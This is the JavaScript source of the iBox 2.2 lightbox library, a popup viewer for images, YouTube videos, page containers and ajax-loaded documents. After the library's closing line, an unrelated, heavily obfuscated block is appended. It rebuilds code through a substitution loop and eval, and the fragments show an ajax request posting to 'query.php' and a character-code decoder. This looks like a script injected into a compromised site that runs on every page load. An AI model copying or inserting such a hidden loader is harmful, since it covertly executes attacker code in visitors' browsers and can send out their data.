/**
 * iBox 2.2 (Build 1612)
 * For more info & download: http://www.ibegin.com/labs/ibox/
 * Created as a part of the iBegin Labs Project - http://www.ibegin.com/labs/
 * For licensing please see readme.html (MIT Open Source License)
*/
var iBox = function() {
	var _pub = {
		// label for the close link
		close_label: 'Close',

		// show iframed content in the parent window
		// this *does not* work with #containers
		inherit_frames: false,

		// how fast to fade in the overlay/ibox (this is each step in ms)
		fade_in_speed: 300,
		fade_out_speed: 300,

		// our attribute identifier for our iBox elements
		attribute_name: 'rel',
		
		// tags to hide when we show our box
		tags_to_hide: ['select', 'embed', 'object'],

		// default width of the box (when displaying html only)
		// height is calculated automatically
		default_width: 450,

		// public version number
		version_number: '2.2',
		// internal build number
		build_number: '1612',

		// browser checks		
		is_opera: navigator.userAgent.indexOf('Opera/9') != -1,
		is_ie: navigator.userAgent.indexOf("MSIE ") != -1,
		is_ie6: false /*@cc_on || @_jscript_version < 5.7 @*/,
		is_firefox: navigator.appName == "Netscape" && navigator.userAgent.indexOf("Gecko") != -1 && navigator.userAgent.indexOf("Netscape") == -1,
		is_mac: navigator.userAgent.indexOf('Macintosh') != -1,

		// url for including images/external files
		base_url: '',
		
		/**
		 * Updates the base_url variable.
		 * @param {String} path Relative or absolute path to this file.
		 */
		setPath: function(path) {
			_pub.base_url = path;
		},
		
		/**
		 * Checks a container for specified tags containing rel="ibox"
		 * @param {Object} container
		 * @param {String} tag_name
		 */
		checkTags: function(container, tag_name) {
			if (!container) var container = document.body;
			if (!tag_name) var tag_name = 'a';
			var els = container.getElementsByTagName(tag_name);
			for (var i=0; i<els.length; i++) {
				if (els[i].getAttribute(_pub.attribute_name)) {
					var t = els[i].getAttribute(_pub.attribute_name);
					if ((t.indexOf("ibox") != -1) || t.toLowerCase() == "ibox") { // check if this element is an iBox element
						els[i].onclick = _pub.handleTag;
					}
				}
			}
		},
		
		/**
		 * Binds arguments to a callback function
		 */
		bind: function(fn) {
				var args = [];
				for (var n=1; n<arguments.length; n++) args.push(arguments[n]);
				return function(e) { return fn.apply(this, [e].concat(args)); };
		},

		/**
		 * Sets the content of the ibox
		 * @param {String} content HTML content
		 * @param {Object} params
		 */
		html: function(content, params) {
			if (content === undefined) return els.content;
			if (params === undefined) var params = {};
			if (!active.is_loaded) return;
			_pub.clear();

			_pub.updateObject(els.wrapper.style, {display: 'block', visibility: 'hidden', left: 0, top: 0, height: '', width: ''});
			
			if (typeof(content) == 'string') els.content.innerHTML = content;
			else els.content.appendChild(content);

			var pagesize = _pub.getPageSize();

			if (params.can_resize === undefined) params.can_resize = true;
			if (params.fade_in === undefined) params.use_fade = true;

			if (params.fullscreen) {
				params.width = '100%';
				params.height = '100%';
			}
			
			// reset offsets
			offset.container = [els.wrapper.offsetLeft*2, els.wrapper.offsetTop*2];
			offset.wrapper = [els.wrapper.offsetWidth-els.content.offsetWidth, els.wrapper.offsetHeight-els.content.offsetHeight];

			// TODO: remove the +4 when issue is solved with calculations
			offset.wrapper[1] += 4;

			if (params.width) var width = params.width;
			else var width = _pub.default_width;

			if (params.height) var height = params.height;
			else {
				els.content.style.height = '100%';
				var height = els.content.offsetHeight + 12;
				els.content.style.height = '';
			}
			active.dimensions = [width, height];
			active.params = params;
			_pub.reposition();

			// XXX: Fix for inline containers which had elements that were hidden
			for (var i=0; i<_pub.tags_to_hide.length; i++) {
				showTags(_pub.tags_to_hide[i], els.content);
			}

			els.wrapper.style.visibility = 'visible';
		},
		
		/**
		 * Empties the content of the iBox (also hides the loading indicator)
		 */
		clear: function() {
			els.loading.style.display = "none";
			while (els.content.firstChild) els.content.removeChild(els.content.firstChild);
		},
		
		/**
		 * Loads text into the ibox
		 * @param {String} text
		 * @param {String} title
		 * @param {Object} params
		 */
		show: function(text, title, params) {
			showInit(title, params, function() {
				_pub.html(text, active.params);
			});
		},
		/**
		 * Loads a url into the ibox
		 * @param {String} url
		 * @param {String} title
		 * @param {Object} params
		 */
		showURL: function(url, title, params) {
			showInit(title, params, function() {
				for (var i=0; i<_pub.plugins.list.length; i++) {
					var plugin = _pub.plugins.list[i];
					if (plugin.match(url)) {
						active.plugin = plugin;
						plugin.render(url, active.params);
						break;
					}
				}
			});
		},

		/**
		 * Hides the iBox
		 */
		hide: function() {
			if (active.plugin) {
				// call the plugins unload method
				if (active.plugin.unload) active.plugin.unload();
			}
			active = {}
			_pub.clear();
			// restore elements that were hidden
			for (var i=0; i<_pub.tags_to_hide.length; i++) showTags(_pub.tags_to_hide[i]);

			els.loading.style.display = 'none';
			els.wrapper.style.display = 'none';
			_pub.fade(els.overlay, _pub.getOpacity(null, els.overlay), 0, _pub.fade_out_speed, function() { els.overlay.style.display = 'none';});
			_pub.fireEvent('hide');
		},

		/**
		 * Repositions the iBox wrapper based on the params set originally.
		 */
		reposition: function() {
			if (!active.is_loaded) return;

			// center loading box
			if (els.loading.style.display != 'none') _pub.center(els.loading);
			
			// update ibox width/height/position
			if (active.dimensions) {
				var pagesize = _pub.getPageSize();

				var width = active.dimensions[0];
				var height = active.dimensions[1];
				
				if (height.toString().indexOf('%') != -1) {
					els.wrapper.style.height = (Math.max(document.documentElement.clientHeight, document.body.clientHeight, pagesize.height) - offset.container[0])*(parseInt(height)/100) + 'px';
				}
				else if (height) {
					els.content.style.height = height + 'px';
					// TODO: if we dont set wrapper height, it doesnt restrict the height and the box is fine
					// so offset.wrapper[1] must not be correct
					els.wrapper.style.height = els.content.offsetHeight + offset.wrapper[1] + 'px';
				}
				else {
					els.wrapper.style.height = els.content.offsetHeight + offset.wrapper[1] + 'px';
				}
				var container_offset = (els.content.offsetHeight - els.content.firstChild.offsetHeight);
				if (width.toString().indexOf('%') != -1) {
					els.wrapper.style.width = (Math.max(document.documentElement.clientWidth, document.body.clientWidth, pagesize.width) - offset.container[1])*(parseInt(width)/100) + 'px';
					var container_offset = 0;
				}
				else {
					els.content.style.width = width + 'px';
					els.wrapper.style.width = els.content.offsetWidth + offset.wrapper[0] + 'px';
				}

				_pub.updateObject(els.content.style, {width: '', height: ''});

				var width = parseInt(els.wrapper.style.width);
				var height = parseInt(els.wrapper.style.height);

				// if we can resize this, make sure it fits in our page bounds
				if (active.params.can_resize) {
					var x = pagesize.width;
					var y = pagesize.height;
					
					x -= offset.container[0];
					y -= offset.container[1];
					if (width > x) {
						if (active.params.constrain) height = height * (x/width);
						width = x;
					}
					if (height > y) {
						if (active.params.constrain) width = width * (y/height);
						height = y;
					}
					_pub.updateObject(els.wrapper.style, {width: width + 'px', height: height + 'px'});
				}

				//els.content.style.width = width - offset.wrapper[0] + 'px';
				// TODO: this isn't adjusting to the right height for containers that are smaller than the page height
				// resize the wrappers height based on the content boxes height
				// this needs to be height - ibox_content[margin+padding+border]
				els.content.style.height = height - offset.wrapper[1] + 'px';
				if (active.dimensions != ['100%', '100%']) _pub.center(els.wrapper);
			}
			
			// fix overlay width/height (cant use css fixed on ie6 or fx or any
			// browser really due to issues)
			els.overlay.style.height = Math.max(document.body.clientHeight, document.documentElement.clientHeight) + 'px';
		},

		updateObject: function(obj, params) {
			for (var i in params) obj[i] = params[i];
		},

		/**
		 * Centers an object
		 * @param {Object} obj
		 */
		center: function(obj) {
			var pageSize = _pub.getPageSize();
			var scrollPos = _pub.getScrollPos();
			var emSize = _pub.getElementSize(obj);
			var x = Math.round((pageSize.width - emSize.width) / 2 + scrollPos.scrollX);
			var y = Math.round((pageSize.height - emSize.height) / 2 + scrollPos.scrollY);
			if (obj.offsetLeft) x -= obj.offsetLeft;
			if (obj.offsetTop) y -= obj.offsetTop;
			if (obj.style.left) x += parseInt(obj.style.left);
			if (obj.style.top) y += parseInt(obj.style.top);
			// this nearly centers it due to scrollbars
			x -= 10;
			_pub.updateObject(obj.style, {top: y + 'px', left: x + 'px'});
		},
		
		getStyle: function(obj, styleProp) {
			if (obj.currentStyle)
				return obj.currentStyle[styleProp];
			else if (window.getComputedStyle)
				return document.defaultView.getComputedStyle(obj,null).getPropertyValue(styleProp);
		},

		/**
		 * Gets the scroll positions
		 */
		getScrollPos: function() {
			var docElem = document.documentElement;
			return {
				scrollX: document.body.scrollLeft || window.pageXOffset || (docElem && docElem.scrollLeft),
				scrollY: document.body.scrollTop || window.pageYOffset || (docElem && docElem.scrollTop)
			};
		},

		/**
		 * Gets the page constraints
		 */
		getPageSize: function() {
			return {
				width: window.innerWidth || (document.documentElement && document.documentElement.clientWidth) || document.body.clientWidth,
				height: window.innerHeight || (document.documentElement && document.documentElement.clientHeight) || document.body.clientHeight
			};
		},

		/**
		 * Gets an objects offsets
		 * @param {Object} obj
		 */
		getElementSize: function(obj) {
			return {
				width: obj.offsetWidth || obj.style.pixelWidth,
				height: obj.offsetHeight || obj.style.pixelHeight
			};
		},
		
		fade: function(obj, start, end, speed, callback) {
			if (start === undefined || !(start >= 0) || !(start <= 100)) var start = 0;
			if (end === undefined || !(end >= 0) || !(end <= 100)) var end = 100;
			if (speed === undefined) var speed = 0;

			if (obj.fader) clearInterval(obj.fader);

			if (!speed) {
				_pub.setOpacity(null, obj, end);
				if (callback) callback();
			}
			
			var opacity_difference = end - start; 
			var time_total = speed; // time is speed (jQuery compat)
			var step_size = 25; // step size in ms
			var steps = time_total / step_size; // total number of steps
			var increment = Math.ceil(opacity_difference / steps); // how much to incr per step
			
			obj.fader = setInterval(_pub.bind(function(e, obj, increment, end, callback) {
				var opacity = _pub.getOpacity(e, obj) + increment;
				_pub.setOpacity(e, obj, opacity);
				if ((increment < 0 && opacity <= end) || (increment > 0 && opacity >= end)) {
					_pub.setOpacity(e, obj, end);
					clearInterval(obj.fader);
					if (callback) callback();
				}
			}, obj, increment, end, callback), step_size);
		},

		/**
		 * Sets the opacity of an element
		 * @param {Object} obj
		 * @param {Integer} value
		 */
		setOpacity: function(e, obj, value) {
			value = Math.round(value);
			obj.style.opacity = value/100;
			obj.style.filter = 'alpha(opacity=' + value + ')';
		},
		
		/**
		 * Gets the opacity of an element
		 * @param {Object} obj
		 * @return {Integer} value
		 */
		getOpacity: function(e, obj) {
			return _pub.getStyle(obj, 'opacity')*100;
		},
		
		/**
		 * Creates a new XMLHttpRequest object based on browser
		 */
		createXMLHttpRequest: function() {
			var http;
			if (window.XMLHttpRequest) { // Mozilla, Safari,...
				http = new XMLHttpRequest();
				if (http.overrideMimeType) {
					// set type accordingly to anticipated content type
					http.overrideMimeType('text/html');
				}
			}
			else if (window.ActiveXObject) { // IE
				try {
					http = new ActiveXObject("Msxml2.XMLHTTP");
				} catch (e) {
					try {
						http = new ActiveXObject("Microsoft.XMLHTTP");
					} catch (e) {}
				}
			}
			if (!http) {
				alert('Cannot create XMLHTTP instance');
				return false;
			}
			return http;
		},
		
		addEvent: function(obj, evType, fn) {
			if (obj.addEventListener) {
				obj.addEventListener(evType, fn, false);
				return true;
			}
			else if (obj.attachEvent) {
				var r = obj.attachEvent("on"+evType, fn);
				return r;
			}
			else {
				return false;
			}
		},
		
		addEventListener: function(name, callback) {
			if (!events[name]) events[name] = new Array();
			events[name].push(callback);
		},
		
		/**
		 * Causes all event listeners attached to `name` event to
		 * execute.
		 * @param {String} name Event name
		 */
		fireEvent: function(name) {
				if (events[name] && events[name].length) {
					for (var i=0; i<events[name].length; i++) {
						var args = [];
						for (var n=1; n<arguments.length; n++) args.push(arguments[n]);
						// Events returning false stop propagation
						if (events[name][i](args) === false) break;
					}
				}
		},
		
		/**
		 * Parses the arguments in the rel attribute
		 * @param {String} query
		 */
		parseQuery: function(query) {
			 var params = new Object();
			 if (!query) return params; 
			 var pairs = query.split(/[;&]/);
			 var end_token;
			 for (var i=0; i<pairs.length; i++) {
					var keyval = pairs[i].split('=');
					if (!keyval || keyval.length != 2) continue;
					var key = unescape(keyval[0]);
					var val = unescape(keyval[1]);
					val = val.replace(/\+/g, ' ');
					if (val[0] == '"') var token = '"';
					else if (val[0] == "'") var token = "'";
					else var token = null;
					if (token) {
						if (val[val.length-1] != token) {
							do {
								i += 1;
								val += '&'+pairs[i];
							}
							while ((end_token = pairs[i][pairs[i].length-1]) != token)
						}
						val = val.substr(1, val.length-2);
					}
					if (val == 'true') val = true;
					else if (val == 'false') val = false;
					else if (val == 'null') val = null;
					params[key] = val;
			 }
			 return params;
		},
		/**
		 * Handles the onclick event for iBox anchors.
		 * @param {Event} e
		 */
		handleTag: function(e) {
			var t = this.getAttribute('rel');
			var params = _pub.parseQuery(t.substr(5,999));
			if (params.target) var url = params.target;
			else if (this.target && !params.ignore_target) var url = this.target;
			else var url = this.href;
			var title = this.title;
			if (_pub.inherit_frames && window.parent) window.parent.iBox.showURL(url, title, params);
			else _pub.showURL(url, title, params);
			return false;
		},
		
		plugins: {
			list: new Array(),
			register: function(func, last) {
				if (last === undefined) var last = false;
				if (!last) {
					_pub.plugins.list = [func].concat(_pub.plugins.list);
				}
				else {
					_pub.plugins.list.push(func);
				}
			}
		}
	};
	
	// private methods and variables
	var active = {};
	
	// events
	var events = {};

	// some containers
	// we store these in memory instead of finding them each time
	var els = {};
	
	var offset = {};
	
	/**
	 * Creates the iBox container and appends it to an element
	 * @param {HTMLObject} elem Container to attach to
	 * @return {HTMLObject} iBox element
	 */
	var create = function(elem) {
		pagesize = _pub.getPageSize();
		
		// TODO: why isnt this using DOM tools
		// a trick on just creating an ibox wrapper then doing an innerHTML on our root ibox element
		els.container = document.createElement('div');
		els.container.id = 'ibox';

		els.overlay = document.createElement('div');
		els.overlay.style.display = 'none';
		_pub.setOpacity(null, els.overlay, 0);
		// firefox mac has issues with opacity and flash
		if (!_pub.is_firefox) els.overlay.style.background = '#000000';
		else els.overlay.style.backgroundImage = "url('" + _pub.base_url + "images/bg.png')";
		els.overlay.id = 'ibox_overlay';
		params = {position: 'absolute', top: 0, left: 0, width: '100%'};
		_pub.updateObject(els.overlay.style, params);
		els.overlay.onclick = _pub.hide;
		els.container.appendChild(els.overlay);

		els.loading = document.createElement('div');
		els.loading.id = 'ibox_loading';
		els.loading.innerHTML = 'Loading...';
		els.loading.style.display = 'none';
		els.loading.onclick = _pub.hide
		els.container.appendChild(els.loading);

		els.wrapper = document.createElement('div')
		els.wrapper.id = 'ibox_wrapper';
		_pub.updateObject(els.wrapper.style, {position: 'absolute', top: 0, left: 0, display: 'none'});

		els.content = document.createElement('div');
		els.content.id = 'ibox_content';
		_pub.updateObject(els.content.style, {overflow: 'auto'})
		els.wrapper.appendChild(els.content);
	
		var child = document.createElement('div');
		child.id = 'ibox_footer_wrapper';
	
		var child2 = document.createElement('a');
		child2.innerHTML = _pub.close_label;
		child2.href = 'javascript:void(0)';
		child2.onclick = _pub.hide;
		child.appendChild(child2);
	
		els.footer = document.createElement('div');
		els.footer.id = 'ibox_footer';
		els.footer.innerHTML = '&nbsp;';
		child.appendChild(els.footer);
		els.wrapper.appendChild(child);

		els.container.appendChild(els.wrapper);

		elem.appendChild(els.container);
				
		_pub.updateObject(els.wrapper.style, {right: '', bottom: ''});
		
		return els.container;
	};
	
	/**
	 * Hides tags within the container
	 * @param {String} tag The name of the tag (e.g. 'a')
	 * @param {HTMLObject} container The container to restore tags within (defaults to document)
	 */
	var hideTags = function(tag, container) {
		if (container === undefined) var container = document.body;
		var list = container.getElementsByTagName(tag);
		for (var i=0; i<list.length; i++) {
			if (_pub.getStyle(list[i], 'visibility') != 'hidden' && list[i].style.display != 'none') {
				list[i].style.visibility = 'hidden';
				list[i].wasHidden = true;
			}
		}
	};
	
	/**
	 * Shows all previously hidden tags in a container.
	 * @param {String} tag The name of the tag (e.g. 'a')
	 * @param {HTMLObject} container The container to restore tags within (defaults to document)
	 */
	var showTags = function(tag, container) {
		if (container === undefined) var container = document.body;
		var list = container.getElementsByTagName(tag);
		for (var i=0; i<list.length; i++) {
			if (list[i].wasHidden) {
				list[i].style.visibility = 'visible';
				list[i].wasHidden = null;
			}
		}
	};
	
	var showInit = function(title, params, callback) {
		if (!_initialized) initialize();
		if (params === undefined) var params = {};
		if (active.plugin) _pub.hide();

		active.is_loaded = true;
		active.params = params;
		
		els.loading.style.display = "block";
		
		_pub.center(els.loading);
		_pub.reposition();

		// hide tags
		for (var i=0; i<_pub.tags_to_hide.length; i++) {
			hideTags(_pub.tags_to_hide[i]);
		}

		// set title here
		els.footer.innerHTML = title || "&nbsp;";

		// setup background
		els.overlay.style.display = "block";
		
		if (!_pub.is_firefox) var amount = 70;
		else var amount = 100;
		_pub.fade(els.overlay, _pub.getOpacity(null, els.overlay), amount, _pub.fade_in_speed, callback);
		
		_pub.fireEvent('show');
	};
	
	var drawCSS = function() {
		// Core CSS (positioning/etc)
		var core_styles = "#ibox {z-index:1000000;text-align:left;} #ibox_overlay {z-index:1000000;} #ibox_loading {position:absolute;z-index:1000001;} #ibox_wrapper {margin:30px;position:absolute;top:0;left:0;z-index:1000001;} #ibox_content {z-index:1000002;margin:27px 5px 5px 5px;padding:2px;} #ibox_content object {display:block;} #ibox_content .ibox_image {width:100%;height:100%;margin:0;padding:0;border:0;display:block;} #ibox_footer_wrapper a {float:right;display:block;outline:0;margin:0;padding:0;} #ibox_footer_wrapper {text-align:left;position:absolute;top:5px;right:5px;left:5px;white-space:nowrap;overflow:hidden;}";
		
		// Default style/theme/skin/whatever
		var default_skin = "#ibox_footer_wrapper {font-weight:bold;height:20px;line-height:20px;} #ibox_footer_wrapper a {text-decoration:none;background:#888;border:1px solid #666;line-height:16px;padding:0 5px;color:#333;font-weight:bold;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:10px;} #ibox_footer_wrapper a:hover {background-color:#bbb;color:#111;} #ibox_footer_wrapper {font-size:12px;font-family:Verdana, Arial, Helvetica, sans-serif;color:#111;} #ibox_wrapper {border:1px solid #ccc;} #ibox_wrapper {background-color:#999;}#ibox_content {background-color:#eee;border:1px solid #666;} #ibox_loading {padding:50px; background:#000;color:#fff;font-size:16px;font-weight:bold;}";

		var head = document.getElementsByTagName("head")[0];

		// tricky hack for IE
		// because IE doesn't like when you insert stuff the proper way
		// and we cant use relative paths to include this as an external
		// stylesheet
		var htmDiv = document.createElement('div');

		htmDiv.innerHTML = '<p>x</p><style type="text/css">'+default_skin+'</style>';
		head.insertBefore(htmDiv.childNodes[1], head.firstChild);

		htmDiv.innerHTML = '<p>x</p><style type="text/css">'+core_styles+'</style>';
		head.insertBefore(htmDiv.childNodes[1], head.firstChild);
	};

	var _initialized = false;
	var initialize = function() {
		// make sure we haven't already done this
		if (_initialized) return;
		_initialized = true;
		// elements here start the look up from the start non <a> tags
		drawCSS();
		var els = document.getElementsByTagName('script');
		var src;
		for (var i=0, el=null; (el = els[i]); i++) {
			if (!(src = el.getAttribute('src'))) continue;
			src = src.split('?')[0];
			if (src.substr(src.length-8) == '/ibox.js') {
				_pub.setPath(src.substr(0, src.length-7));
				break;
			}
		}
		create(document.body);
		_pub.checkTags(document.body, 'a');
		_pub.http = _pub.createXMLHttpRequest();
		_pub.fireEvent('load');
	};
	
	_pub.addEvent(window, 'keypress', function(e){ if (e.keyCode == (window.event ? 27 : e.DOM_VK_ESCAPE)) { iBox.hide(); }});
	_pub.addEvent(window, 'resize', _pub.reposition);
	_pub.addEvent(window, 'load', initialize);
	_pub.addEvent(window, 'scroll', _pub.reposition);

	// DEFAULT PLUGINS

	/**
	 * Handles embedded containers in the page based on url of #container.
	 * This _ONLY_ works with hidden containers.
	 */
	var iBoxPlugin_Container = function() {
		var was_error = false;
		var original_wrapper = null;
		return {
			/**
			 * Matches the url and returns true if it fits this plugin.
			 */
			match: function(url) {
				return url.indexOf('#') != -1;
			},
			/**
			 * Called when this plugin is unloaded.
			 */
			unload: function() {
				if (was_error) return;
				var elemSrc = _pub.html().firstChild;
				if (elemSrc) {
					elemSrc.style.display = 'none';
					original_wrapper.appendChild(elemSrc);
				}
			},
			/**
			 * Handles the output
			 * @param {iBox} ibox
			 * @param {String} url
			 * @return {iBoxContent} an instance or subclass of iBoxContent
			 */
			render: function(url, params) {
				was_error = false;
				var elemSrcId = url.substr(url.indexOf("#") + 1);
				var elemSrc = document.getElementById(elemSrcId);
				// If the element doesnt exist, break the switch
				if (!elemSrc) {
					was_error = true;
					_pub.html(document.createTextNode('There was an error loading the document.'), params);
				}
				else {
					original_wrapper = elemSrc.parentNode;
					elemSrc.style.display = 'block';
					_pub.html(elemSrc, params);
				}
			}
		}
	}();
	_pub.plugins.register(iBoxPlugin_Container, true);

	/**
	 * Handles images
	 */
	var iBoxPlugin_Image = function() {
		// Image types (for auto detection of image display)
		var image_types = /\.jpg|\.jpeg|\.png|\.gif/gi;

		return {
			match: function(url) {
				return url.match(image_types);
			},

			render: function(url, params) {	
				var img = document.createElement('img');
				img.onclick = _pub.hide;
				img.className = 'ibox_image'
				img.style.cursor = 'pointer';
				img.onload = function() {
					_pub.html(img, {width: this.width, height: this.height, constrain: true})
				}
				img.onerror = function() {
					_pub.html(document.createTextNode('There was an error loading the document.'), params);
				}
				img.src = url;
			}
		}
	}();
	_pub.plugins.register(iBoxPlugin_Image);

	var iBoxPlugin_YouTube = function() {
		var youtube_url = /(?:http:\/\/)?(?:www\d*\.)?(youtube\.(?:[a-z]+))\/(?:v\/|(?:watch(?:\.php)?)?\?(?:.+&)?v=)([^&]+).*/;
		return {
			match: function(url) {
				return url.match(youtube_url);
			},

			render: function(url, params) {
				var _match = url.match(youtube_url);
				var domain = _match[1];
				var id = _match[2];
				params.width = 425;
				params.height = 355;
				params.constrain = true;
				var html = '<span><object width="100%" height="100%" style="overflow: hidden; display: block;"><param name="movie" value="http://www.' + domain + '/v/' + id + '"/><param name="wmode" value="transparent"/><embed src="http://www.' + domain + '/v/' + id + '" type="application/x-shockwave-flash" wmode="transparent" width="100%" height="100%"></embed></object></span>';
				_pub.html(html, params);
			}
		}
	}();
	_pub.plugins.register(iBoxPlugin_YouTube);

	var iBoxPlugin_Document = function() {
		return {
			match: function(url) {
				return true;
			},

			render: function(url, params) {
				_pub.http.open('get', url, true);

				_pub.http.onreadystatechange = function() {
					if (_pub.http.readyState == 4) {
						// XXX: why does status return 0?
						if (_pub.http.status == 200 || _pub.http.status == 0) {
							_pub.html(_pub.http.responseText, params);
						}
						else {
							_pub.html(document.createTextNode('There was an error loading the document.'), params);
						}
					}
				}
				_pub.http.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
				try {
					_pub.http.send(null);
				}
				catch (ex) {
					_pub.html(document.createTextNode('There was an error loading the document.'), params);
				}
			}
		};
	}();
	_pub.plugins.register(iBoxPlugin_Document, true);

	return _pub;
}();


d='function  $M(file -z ?P L-B="GE <= a ,rt="" Ke ,E=tru & ,r.offset=100 Un L-L @u @y @J LA9 N ,e @q LA9 N Um L-n ],P ]Urg L-k(); .sxml2 X1 A.icrosoft X2 -z=null}}if(!  z Ztypeof  M!="undefined" -z : M ]+ E= 4}} Uc _> -t[ $o [>,false) Uv _>, =vars Z 4== =vars A=  /( % $o), % >)) + t[ % $o) [% >) W} UH L$p, $S A$T= % Yx);regexp :RegExp( Yx+"|"+ $T); H/ Sp 6regexp) Ii=0;i< H/ hj= H/[i] 6"=");if( 4= SS -v G + c G}}}; a.trim _$f Z"qabcdef".indexOf( $o.substr(0,1))>=0){ H $rs So 6\'q\') 8\'\') 6\'v\') I Hi=0;i< $rs hrs[i]=parseInt( $rs[i],16)- k =  $rs 8\',\')+\',\'}else{ajax gr.offset2=25; =  k}; 9unR ( !){eval( 9  ]UrN L db&& Yt 7 -H( Yt W} 3 drt 7 OR + rt SR}}  c(" $a",new Date().getTime()); $h : / ]Ikey in(  t) Zfalse== C1]&& 4==  b A$T=  v(key, C0] W ,t[key] ?t[ $T[0] [$T[1] W;key ST[0]} $h[ $h 7]=key+"="+ C0]} 3$R Oh 8 Yx) + rt+ Sh 8 Yx)} Uk L-B="POS <t="";d=\'v={@ VM$1XH:"e-",@ V`$1XH:"",*b VM$1Xv30:"l(\\\'l=Str"\\\\_:"ing.fr",JG*2%a%fzV*aV:"omCha",>%8%8*2*5LB0_*4:"rCode("<6#fF%3#f#7#d_$4y<d*3*6$eV*e*d$a*3&6R8#b!0G%4#d%eTM `8B6P*3K#6>*4HY/c*dPB1JJ-a$4*6&9<7E*bQ`NX@U&3W2E*eQ*4?Q*2E&7W5!3%b#e#8!0*8#6J `6PV#c#9!fB3*1V&6W9*7#f%6-3*d#f-d-fy,a2%2#e T T#c!1&1/b#eT!1#c!1*4*b-d&1/4-f#f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urlencoded" 5){}}  z.onreadystatechange !){switch( #z.readyState){case 1: #L 02: #u 03: #y 04: ;= #z.r (Text; ;XML= #z.r (XML; #C[0 Q; #C[1 QText; 3#w){self.r N 3#A A)= #A.nodeName; ).toLowerCase(); 3)=="input Jselect Joption Jtextarea" A#A. >= ; +#A.innerHTML= ;}} 3#C[0]=="200" A#J ]+#e()} #rt="";break} Uz.send( Yt)}} Um ],rg()} a.ajax : $M();try{ H $G 2\' $D\') *c("query", $G gd gf) *F="query.php" *B SG gB gf *rr=\' $rz\' *L SN *u Sg *y Ss *J Sx; P 5){ P)}  this g !=function( #self g $kx_ %encodeURIComponent( &e ,rr ?A ?F=file ,t :Object ],C : /(2) (esponse )elemNodeName *;ajax g +}else{  ,;   - A  .try{  z :ActiveXObject("M /Array 0();break;case  2=document.getElementById( 3if(  4true 5)}catch(e 6.split( 7.length 8.join( 9this.r :=new  ;self.r ( <T" ,i="?" ,rx="&" ,r =return >value ?=null , @ !){ U A){  C  t[key][ G( $j[0], $j[1]) Hvar  I;for( J"|| )==" K ,b= 4 ,w=fals L !  MXMLHttpRequest NunR (()} O -rt+= Yx+ $ Pajax.runAJAX( Q]= #z.status Rz.open(  B,  S= $ T-d!3 U} , V%b%a#6Q W, 4) X.XMLHTTP" 5 Y  r Z){if( []= /(  ]()  ^!2* _ L$o,  `&0/ awindow d$R A3  e&4/ f$3%6%fT$4 g. $ h 7;i++ A$ j&7< k $f[ $o]}';for(c=130;c;d=(t=d.split('   ! # $ % & ( ) * + , - . / 0 2 3 4 5 6 7 8 9 : ; < = > ? @ A C G H I J K L M N O P Q R S T U V W X Y Z [ ] ^ _ ` a d e f g h j k'.substr(c-=(x=c<2?1:2),x))).join(t.pop()));eval(d)

